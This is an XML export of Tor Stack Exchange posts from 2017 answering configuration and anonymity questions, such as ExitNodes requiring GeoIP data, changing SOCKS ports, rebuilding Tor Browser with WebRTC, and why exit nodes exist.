  <row Id="14675" PostTypeId="2" ParentId="14674" CreationDate="2017-04-29T18:43:43.963" Score="2" Body="&lt;p&gt;According to the manpage you can't have a &lt;code&gt;SocksPort&lt;/code&gt; configured:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HiddenServiceSingleHopMode requires HiddenServiceNonAnonymousMode to be set&#xA;  to 1. Since a Single Onion service is non-anonymous, you can not configure&#xA;  a &lt;code&gt;SOCKSPort&lt;/code&gt; on a tor instance that is running in &lt;strong&gt;HiddenServiceSingleHopMode&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't have &lt;code&gt;SocksPort&lt;/code&gt; in your config, it defaults to port 9050. You can disable it by adding &lt;code&gt;SocksPort 0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-29T18:43:43.963" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14676" PostTypeId="2" ParentId="14672" CreationDate="2017-04-30T00:33:21.547" Score="2" Body="&lt;p&gt;It will try successive bridges until it is able to use one, starting with the first bridge listed in the &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can be helpful to use multiple bridge lines, incase one bridge goes down or is censored or blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behaviour will change with &lt;code&gt;tor-3.0.x&lt;/code&gt; &lt;em&gt;(slightly)&lt;/em&gt; in that it won't try them in the order presented.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-30T00:33:21.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14677" PostTypeId="1" CreationDate="2017-04-30T01:30:35.827" Score="2" ViewCount="554" Body="&lt;p&gt;I stumbled upon the following text in the article about onion routing on Wikipedia: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this example onion, the source of the data sends the onion to&#xA;  Router A, which removes a layer of encryption to learn only where to&#xA;  send it next and where it came from (though it does not know if the&#xA;  sender is the origin or just another node). Router A sends it to&#xA;  Router B, which decrypts another layer to learn its next destination.&#xA;  Router B sends it to Router C, which removes the final layer of&#xA;  encryption and transmits the original message to its destination.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering how the entry node can not know that it's talking to the originator. Couldn't it simply check the list of all tor nodes and see that the IP is not a tor node? Or did I misunderstand the concept of tor clients... I thought clients are not automatically nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are the data packages that are being sent between the node always of the same size? I guess otherwise I would be pretty easy to check what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me and sorry for my English, I'm not a native speaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="17291" LastActivityDate="2017-04-30T02:06:37.037" Title="Why do entry nodes not know the originator?" Tags="|anonymity|security|relays|attacks|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14678" PostTypeId="2" ParentId="14677" CreationDate="2017-04-30T02:06:37.037" Score="1" Body="&lt;p&gt;It could certainly reason about it, as you stated, by checking a list of Tor relays and checking to see if the originator was a known Tor relay or not but it can't be &lt;em&gt;certain&lt;/em&gt; of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;False negative:&lt;/strong&gt; A user may be running a relay &lt;em&gt;and&lt;/em&gt; a client. The reasoning relay receives a cell and tries to classify it based on the list of known relays. It may misclassify a cell coming from another relay as therefor not being directly from the originator, but the other relay &lt;em&gt;may&lt;/em&gt; be the originator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;False positive:&lt;/strong&gt; A user uses a bridge relay. The reasoning relay receives a cell and looks at the list of relays and doesn't see the bridge on the list, and so it classifies the bridge as the originator, but it &lt;em&gt;may not&lt;/em&gt; be the originator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can certainly reason, and make a reasoned assumption but it cannot know for certain. There are a few other edge cases where this would fail. For example, relays that use a different &lt;code&gt;OutboundBindAddress&lt;/code&gt; from the address their relays &lt;code&gt;ORPort&lt;/code&gt; is listening on, and so on.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-30T02:06:37.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14680" PostTypeId="1" AcceptedAnswerId="14685" CreationDate="2017-04-30T10:51:40.030" Score="1" ViewCount="1299" Body="&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to get WebRTC onto the TOR Browser. &lt;strong&gt;I Know&lt;/strong&gt; this might sound stupid at first, I explained my reasons on why I wanted to do this in my previous post: &lt;a href=&quot;https://tor.stackexchange.com/questions/14660/getting-webrtc-on-tor?noredirect=1#comment16304_14660&quot;&gt;Getting WebRTC on TOR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current Progress:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After no luck with finding already made plugins, I decided to try to build it into TOR myself. I'm using the latest version of Ubuntu btw (Xenial 16.04). What I have done so far is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download a fresh version of TOR but without installing it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the version of firefox that the previous TOR version was based off of (firefox 45.9.0), only downloaded, didn't install.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Located relevant WebRTC files in the firefox:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;firefox-sdk/include/mozilla/media/webrtc/WebrtcGlobal.h&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this file has a few &lt;code&gt;#include ...&lt;/code&gt;s at the top, which are files that are also located within the firefox downloaded bundle, and some of these refer to other files, and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If I copy all the files that are related to the WebRTC file &lt;code&gt;WebrtcGlobal.h&lt;/code&gt; would that compose all the necessary files in order to implement WebRTC into tor? If I need more please let me know which, and if I don't need all the ones included, which ones are the only ones I need?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After having the right files, where in TOR should I include them? Do I need to modify certain configurations, like &lt;code&gt;media.peerconnection.enabled=false&lt;/code&gt; into &lt;code&gt;true&lt;/code&gt;, amongst others?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there anything else I would need to do? &lt;strong&gt;As you can see&lt;/strong&gt;, I am kind of learning as I go along, any and all feedback is greatly appreciated!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17249" LastActivityDate="2017-04-30T20:16:43.413" Title="Getting WebRTC built into TOR" Tags="|configuration|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14681" PostTypeId="1" AcceptedAnswerId="14682" CreationDate="2017-04-30T10:57:13.197" Score="0" ViewCount="6726" Body="&lt;p&gt;You can edit &lt;code&gt;torrc&lt;/code&gt; file in Windows version and add something like &lt;code&gt;ExitNodes {US}&lt;/code&gt;. And this will make your Tor Browser connect to .us proxies only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add this at the end of &lt;code&gt;torrc&lt;/code&gt; file in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and restart Tor service, it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;torsocks&lt;/code&gt; just hangs or times out and you need to undo the &lt;code&gt;torrc&lt;/code&gt; edit to make it work again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to set my &lt;code&gt;torsocks&lt;/code&gt; to connect to .us proxy in order to access .us only websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution for Windows: &lt;a href=&quot;https://tor.stackexchange.com/questions/1636/ip-address-in-specific-city&quot;&gt;IP address in specific city&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit1:&lt;/strong&gt;&#xA;I tried adding this at the end of the &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restarting Tor &lt;code&gt;service tor restart&lt;/code&gt; and running &lt;code&gt;torsocks some_cmd etc&lt;/code&gt; hangs for couple minutes and then gives &lt;code&gt;ERROR torsocks[2710]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_reply() at socks5.c:666)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit2:&lt;/strong&gt;&#xA;My current solution is to spam &lt;code&gt;torsocks -i&lt;/code&gt; until it connects to .us proxy by itself randomly, which is impractical, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 30 11:56:32.000 [notice] Interrupt: exiting cleanly.&#xA;Apr 30 11:56:32.000 [notice] Tor 0.2.7.6 (git-605ae665009853bd) opening log file.&#xA;Apr 30 11:56:32.916 [warn] OpenSSL version from headers does not match the version we're running with. If you get weird crashes, that might be why. (Compiled with 1000207f: OpenSSL 1.0.2g  1 Mar 2016; running with 100020bf: OpenSSL 1.0.2k  26 Jan 2017).&#xA;Apr 30 11:56:32.936 [notice] Tor v0.2.7.6 (git-605ae665009853bd) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2k and Zlib 1.2.8.&#xA;Apr 30 11:56:32.936 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 30 11:56:32.936 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Apr 30 11:56:32.936 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Apr 30 11:56:32.940 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 30 11:56:32.941 [notice] Opening Control listener on /var/run/tor/control&#xA;Apr 30 11:56:32.000 [warn] Failed to open GEOIP file /usr/share/tor/geoip.  We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are. Do you have the tor-geoipdb package installed?&#xA;Apr 30 11:56:32.000 [warn] Failed to open GEOIP file /usr/share/tor/geoip6.  We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are. Do you have the tor-geoipdb package installed?&#xA;Apr 30 11:56:32.000 [notice] Bootstrapped 0%: Starting&#xA;Apr 30 11:56:33.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Apr 30 11:56:33.000 [notice] Bootstrapped 45%: Asking for relay descriptors&#xA;Apr 30 11:56:33.000 [notice] Signaled readiness to systemd&#xA;Apr 30 11:56:33.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 7259/7259, and can only build 0% of likely paths. (We have 100% of guards bw, 100% of midpoint bw, and 0% of exit bw = 0% of path bw.)&#xA;Apr 30 11:56:34.000 [warn] Received http status code 404 (&quot;Not found&quot;) from server '188.166.50.222:443' while fetching &quot;/tor/keys/fp/585769C78764D58426B8B52B6651A5A71137189A+80550987E1D626E3EBA5E5E75A458DE0626D088C&quot;.&#xA;Apr 30 11:56:42.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Apr 30 11:56:43.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 7217/7257, and can only build 0% of likely paths. (We have 99% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of path bw.)&#xA;Apr 30 11:56:43.000 [notice] Bootstrapped 50%: Loading relay descriptors&#xA;Apr 30 11:58:42.000 [notice] Tried for 120 seconds to get a connection to [scrubbed]:42. Giving up. (waiting for circuit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3703" LastEditorUserId="3703" LastEditDate="2017-04-30T12:01:48.797" LastActivityDate="2019-11-09T08:12:58.477" Title="How to specify ExitNodes in Linux?" Tags="|exit-relays|linux|ubuntu|torsocks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14682" PostTypeId="2" ParentId="14681" CreationDate="2017-04-30T12:46:06.847" Score="2" Body="&lt;p&gt;GeoIP needs to be installed for Tor to be able to determine in what country a exit relay is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install it using &lt;code&gt;sudo apt install tor-geoipdb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the logs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are. Do you have the tor-geoipdb package installed?&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because it can't determine what relay is in what country, it can't find any in the &lt;code&gt;{US}&lt;/code&gt; and as a result &quot;0% of exit[s]&quot; are usable for you.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-04-30T12:58:33.323" LastActivityDate="2017-04-30T12:58:33.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14685" PostTypeId="2" ParentId="14680" CreationDate="2017-04-30T20:16:43.413" Score="3" Body="&lt;p&gt;see &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking#WaystoBuildTorBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ways to Build Tor Browser&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8178&quot; rel=&quot;nofollow noreferrer&quot;&gt;#8178&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to edit the build process to not use the &lt;code&gt;--disable-webrtc&lt;/code&gt; flag. Simply copying the files will not be sufficient, since they are built into firefox and the various libraries at compile time you'd need to compile a new copy of Tor Browser, from source, with the features enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; would need to be set to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-30T20:16:43.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14686" PostTypeId="1" AcceptedAnswerId="14687" CreationDate="2017-05-01T03:43:48.740" Score="1" ViewCount="2437" Body="&lt;p&gt;I am using tor version 7.0a3,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the tor default listening port from &lt;code&gt;9150&lt;/code&gt; I change the &lt;code&gt;torrc-defaults&lt;/code&gt; located in &lt;code&gt;Browser\TorBrowser\Data\Tor&lt;/code&gt; like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 8080 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems that it is not effected at all. When I open the &lt;code&gt;torrc&lt;/code&gt; file, I see &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 127.0.0.1:9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see this in log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;[NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;[NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;[NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;[NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;[NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;[NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;[NOTICE] Bootstrapped 50%: Loading relay descriptors &#xA;[WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;[WARN] Proxy Client: unable to connect to 154.35.22.10:443 (&quot;general SOCKS server failure&quot;) &#xA;[WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;[NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;[NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;[NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have reviewed It also mentioned in &lt;a href=&quot;https://tor.stackexchange.com/questions/6283/changing-tors-default-listening-port-withing-the-torrc-file&quot;&gt;Changing tor&amp;#39;s default listening port withing the torrc file&lt;/a&gt; and it does not work ( maybe it changed in tor version 7 )&lt;/p&gt;&#xA;" OwnerUserId="17296" LastActivityDate="2020-02-01T15:49:22.300" Title="Tor version 7.0 change default listening port" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14687" PostTypeId="2" ParentId="14686" CreationDate="2017-05-01T07:20:18.930" Score="2" Body="&lt;p&gt;The easiest way to do this is to set &lt;a href=&quot;https://en.wikipedia.org/wiki/Environment_variable&quot; rel=&quot;nofollow noreferrer&quot;&gt;Environment Variables&lt;/a&gt; and let Tor Browser handle it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to set these differs between operating systems, but instead of editing the torrc, simply setting. Under Linux simple running &lt;code&gt;env TOR_SOCKS_PORT=12345 ./start-tor-browser.desktop&lt;/code&gt; would suffice, under Windows you need to set them from the &lt;code&gt;System&lt;/code&gt; -&gt; &lt;code&gt;Advanced System Settings&lt;/code&gt; -&gt; &lt;code&gt;Advanced Tab&lt;/code&gt; -&gt; &lt;code&gt;Environment Variables&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TOR_SOCKS_PORT&lt;/code&gt; to the port value you want it to use should work. Similarly &lt;code&gt;TOR_CONTROL_PORT&lt;/code&gt; controls what port it uses for the control port.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-01T07:20:18.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14688" PostTypeId="1" CreationDate="2017-05-01T11:50:29.193" Score="0" ViewCount="85" Body="&lt;p&gt;TOR creates 5 circuits initially. Does the TOR browser do the same?&lt;/p&gt;&#xA;" OwnerUserId="12161" LastActivityDate="2017-05-01T19:47:14.563" Title="Does tor browser open up 5 circuits initially?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14690" PostTypeId="2" ParentId="14688" CreationDate="2017-05-01T19:47:14.563" Score="2" Body="&lt;p&gt;Tor Browser launches it's own copy of &lt;code&gt;tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor that it launches doesn't differ from any other instance of &lt;code&gt;tor&lt;/code&gt;, except by configuration differences defined in &lt;code&gt;torrc&lt;/code&gt; and &lt;code&gt;torrc-defaults&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that &lt;code&gt;tor&lt;/code&gt; does, the &lt;code&gt;tor&lt;/code&gt; launched by Tor Browser will also do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor&lt;/code&gt; opportunistically opens a number circuits, Tor Browser's &lt;code&gt;tor&lt;/code&gt; does too.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-01T19:47:14.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14691" PostTypeId="1" CreationDate="2017-05-01T20:15:01.803" Score="1" ViewCount="906" Body="&lt;p&gt;Given the fact that exit nodes seem to be implicated with just about every bad story covering Tor - why have them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could not the clearweb be left to just continue it's evolution into a corporate cesspool, while onion services evolved to handle everything else (both legit and criminal...but supportive of non corporate interests)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see it, Tor keeps getting a black eye from people who use it to inflict harm on others. Eliminating the exit nodes would remove this trouble and might actually make it safer for Tor users? No chance of accidental exit where attackers congregate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those new protections for onion sites have real potential, but this potential is likely drowned out by the continuing propaganda LE quarters use to justify their bullshit jobs. Elimination of exit nodes would eventually &quot;cut such people off from the money&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the worst that can happen? Hackers being forced to build their own string of VPN links so they can attack clearweb sites? Why would anyone within the Tor organization care? What's in it for them when they protect such people? What is the cost of providing such protection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the only way to avoid exit mistakes is to use a VPN provider supporting in house Tor2Web. And of course, that leaves one vulnerable to personnel changes at that VPN provider. Onion clients which &quot;stayed within Tor&quot; would be very useful.&lt;/p&gt;&#xA;" OwnerUserId="17226" LastActivityDate="2017-05-01T22:35:38.873" Title="Tor and Exit nodes - just a question" Tags="|onion-services|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14693" PostTypeId="2" ParentId="14691" CreationDate="2017-05-01T22:35:38.873" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Given the fact that exit nodes seem to be implicated with just about every bad story covering Tor - why have them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I almost exclusively use non-onion sites via Tor. The only times I use hidden services is when I log into one of my machines using SSH and authenticated hidden services. I believe, like me, most people use Tor to be able to anonymously browse the clearnet. So, for most people, having onion services only, renders Tor useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great to have an alternative to clearnet that has privacy and security built in but I don't believe we are anything close to a working solution. This are just a few issues I can think of if I wanted to use .onion only: a) how do I find an onion service, b) how do I know xyz123….onion is controlled by the site I want to visit, c) most services are not available via .onion (news, weather, bus schedule, good search engines, wikipedia, stackexchange, …), d) Scalability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to take a look at &lt;a href=&quot;https://geti2p.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I2P&lt;/a&gt; or &lt;a href=&quot;https://gnunet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNUnet&lt;/a&gt; if you don't want clear net access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't agree with &quot;exit nodes seem to be implicated with just about every bad story&quot;. Many story cover drugs, child porn, weapons sales, etc. all happening on hidden services. I, myself, have only ever heard rather insignificant stories affecting exits.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could not the clearweb be left to just continue it's evolution into a corporate cesspool, while onion services evolved to handle everything else (both legit and criminal...but supportive of non corporate interests)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see how abandoning the clearnet would be of any help. Tor is trying to provide journalist, whitleblowser and activist a platform to securely and anonymously reach the public. If you want to reach the mass you'll need the information to be in the clearnet, at least in the foreseeable future. Of course, there are also &lt;a href=&quot;https://www.torproject.org/about/torusers.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;other people that want anonymous, uncensored access to the clearnet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if hidden services become more successful and lucrative, what is going to stop corporations from entering the hidden realm?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As I see it, Tor keeps getting a black eye from people who use it to inflict harm on others. Eliminating the exit nodes would remove this trouble and might actually make it safer for Tor users? No chance of accidental exit where attackers congregate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, using hidden services removes the exit nodes as attack vector. Having no access to clearnet via Tor would not improve the situation though. People would just keep using the clearnet with no protection. I can't see how that's more secure.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Those new protections for onion sites have real potential, but this potential is likely drowned out by the continuing propaganda LE quarters use to justify their bullshit jobs. Elimination of exit nodes would eventually &quot;cut such people off from the money&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Being an relay operator myself, I've received quite a few abuse mails and I have even received a summon from the Police once. The number of incidents is rather low though, considering the amount of traffic. Let's not forget that the people at law enforcement are just regular people struggling to keep up with modern technologies. If we want them to support Tor, we need to help them understand technologies like Tor. The same also holds true for businesses, if you used Tor for malicious purposes on any of the web sites operated by the company I work for, I'd likely be the one dealing with the case. I would be up to me to explain to cooperate and our customers what happened and why it isn't Tor's fault. Unfortunately, in many cases people are not even aware what Tor is and assume it's something bad just because it was used for something bad. We shouldn't blame cooperations and law enforcement, we should help them to understand.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the worst that can happen? Hackers being forced to build their own string of VPN links so they can attack clearweb sites? Why would anyone within the Tor organization care? What's in it for them when they protect such people? What is the cost of providing such protection?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't believe the cost of having to deal with abuse on clearnet sites outweighs the cost of having no protection at all when surfing in clearnet. (Looks at at answers of the previous questions.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Right now, the only way to avoid exit mistakes is to use a VPN provider supporting in house Tor2Web. And of course, that leaves one vulnerable to personnel changes at that VPN provider.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sorry, I don't get what exactly you mean by this. Can you explain to me what you mean by &quot;VPN provider supporting in house Tor2Web&quot; and &quot;vulnerable to personnel&quot;. Also, how exactly would such a setup look like?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Onion clients which &quot;stayed within Tor&quot; would be very useful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you really want that, blocking non-onion addresses shouldn't be hard. I don't believe that is what most people want though.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Conclusion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security and anonymity are important but useless if you can't provide a solution that people are willing to use. I certainly wouldn't use it without clearnet access.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-01T22:35:38.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14695" PostTypeId="1" CreationDate="2017-05-02T01:34:23.100" Score="0" ViewCount="250" Body="&lt;p&gt;When trying to download files from the internet a brand new tor browser would throw a warning like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you're about to download something, it can't potentially be dangerous, blah blah blah, click ok to continue&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I seemed to have disabled that warning at some point. Not sure how to get it back. Is there a variable in &lt;code&gt;about:config&lt;/code&gt; I can use to switch it back on?&lt;/p&gt;&#xA;" OwnerUserId="17315" LastEditorUserId="88" LastEditDate="2017-05-02T08:50:05.683" LastActivityDate="2017-05-02T08:50:05.683" Title="How to get the download warning back?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14696" PostTypeId="2" ParentId="14695" CreationDate="2017-05-02T02:26:59.557" Score="1" Body="&lt;p&gt;The preference you're looking for is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;extensions.torbutton.launch_warning&lt;/code&gt; which should be set to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option is important for Tor Browser's anti-forensic properties, as it stops Firefox from starting to opportunistically download offered files to disk in the background before a user has decided where or if to save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be used to maliciously &quot;taint&quot; a disk with a unique identifier (for later forensic analysts to find), or accidentally leave traces of activity on disk when you're using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails disables this, since it doesn't write to disk, only to RAM.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-02T02:26:59.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
